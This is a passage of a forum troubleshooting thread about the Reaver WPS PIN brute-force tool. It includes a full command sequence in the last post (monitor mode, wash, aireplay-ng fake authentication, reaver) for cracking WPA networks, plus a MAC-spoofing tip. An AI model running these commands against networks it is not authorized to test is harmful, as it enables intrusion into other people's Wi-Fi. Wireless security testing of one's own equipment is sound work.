Page 2 of 2 FirstFirst 12
Results 11 to 16 of 16

Thread: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

  1. #11
    Just burned his ISO
    Join Date
    Oct 2012
    Posts
    7

    Default Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    is there anyway to make reaver start trying the pins from the opposite side of its original starting point? it typically takes me 90 percent to crack my routers, i was wondering if it would take 10 percent if it started from top to down...?

  2. #12
    Just burned their ISO
    Join Date
    Nov 2012
    Posts
    1

    Lightbulb Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    I got a bunch of
    Code:
    [!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: yyyyy)
    I then tried another WPA network and received the same error six times, and then was told
    Code:
    [+] Associated with xx:xx:xx:xx:xx:xx (ESSID: yyyyy)
    However, after this output Reaver did not do anything else (I waited an hour).
    If you've used macchanger to chance your mon0 interface, make sure that you do it for your physical interface as well. Reaver requires both to be the same MAC. I hope this helps.

  3. #13
    Just burned his ISO
    Join Date
    Jul 2012
    Posts
    5

    Default Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    Quote Originally Posted by unicornfarmer View Post
    Hello,

    So I just downloaded a LiveCD (r3) and decided to give Reaver a go on my Macbook Pro using an RT73 USB wireless device I had.

    I booted into the GUI and identified my wireless card on wlan1

    I then ran
    Code:
     airmon-ng start wlan1
    to put it in monitor mode on mon0.

    I used
    Code:
     airodump-ng wlan1
    and picked the appropriate WPA encrypted MAC Address.

    I ran reaver with
    Code:
    reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv
    I got a bunch of
    Code:
    [!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: yyyyy)
    I then tried another WPA network and received the same error six times, and then was told
    Code:
    [+] Associated with xx:xx:xx:xx:xx:xx (ESSID: yyyyy)
    However, after this output Reaver did not do anything else (I waited an hour).

    I exited that request and ran it again. The same thing happened. It managed to associate after several failures and then didn't do anything.

    I'm not sure I understand the concept of associating with an AP or why this is happening.

    Does anyone have any suggestions?

    Thank you.
    i hv the exact same problem. reaver showed it's associated with the AP but no response after that. or it'll just show association failed; even if the signal is strong ...
    it was working just fine a few weeks back but this problem just happen out of nowhere. mac address is correct.
    any other reasons why this is happening? will reinstalling reaver help?

  4. #14
    Just burned their ISO
    Join Date
    May 2012
    Posts
    4

    Default Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    Um, yes you are the man dready. I was having this issue and that was the problem. Awesome.

  5. #15
    Just burned their ISO KibouSuperKawaii's Avatar
    Join Date
    Jan 2013
    Posts
    7

    Default Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    so i should change wlan0 mac then mon0 mac?


    Quote Originally Posted by dready View Post
    If you've used macchanger to chance your mon0 interface, make sure that you do it for your physical interface as well. Reaver requires both to be the same MAC. I hope this helps.

  6. #16
    Just burned his ISO
    Join Date
    Jul 2012
    Posts
    10

    Default Re: Reaver - Warning: Failed to associate with [BSSID] - (BT5 r3)

    enable mon0
    airmon-ng start wlan0

    Check for the wps enabled wpa wifi (this can also be done with wifite.py)
    #wash -i mon0 -C

    set your channel to the same AP in whiich you are interested
    #iwconfig mon0 channel <channel of AP eg. 11>

    start aireplay
    #aireplay-ng mon0 -1 120 -a <MAC of AP> -e <AP name>

    start reaver
    #reaver -i mon0 -A -b <MAC of AP> -v

    worked last night for me, but the wifi went off, before the full scan, so wasn't able to get the key. Will try again.

Page 2 of 2 FirstFirst 12

Similar Threads

  1. Replies: 1
    Last Post: 07-23-2010, 08:13 AM
  2. I cant seem to Associate myself with AP
    By kevkid in forum Beginners Forum
    Replies: 2
    Last Post: 05-19-2010, 07:01 PM
  3. Cannot associate with my own AP
    By psp219 in forum OLD Newbie Area
    Replies: 5
    Last Post: 12-16-2007, 09:37 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •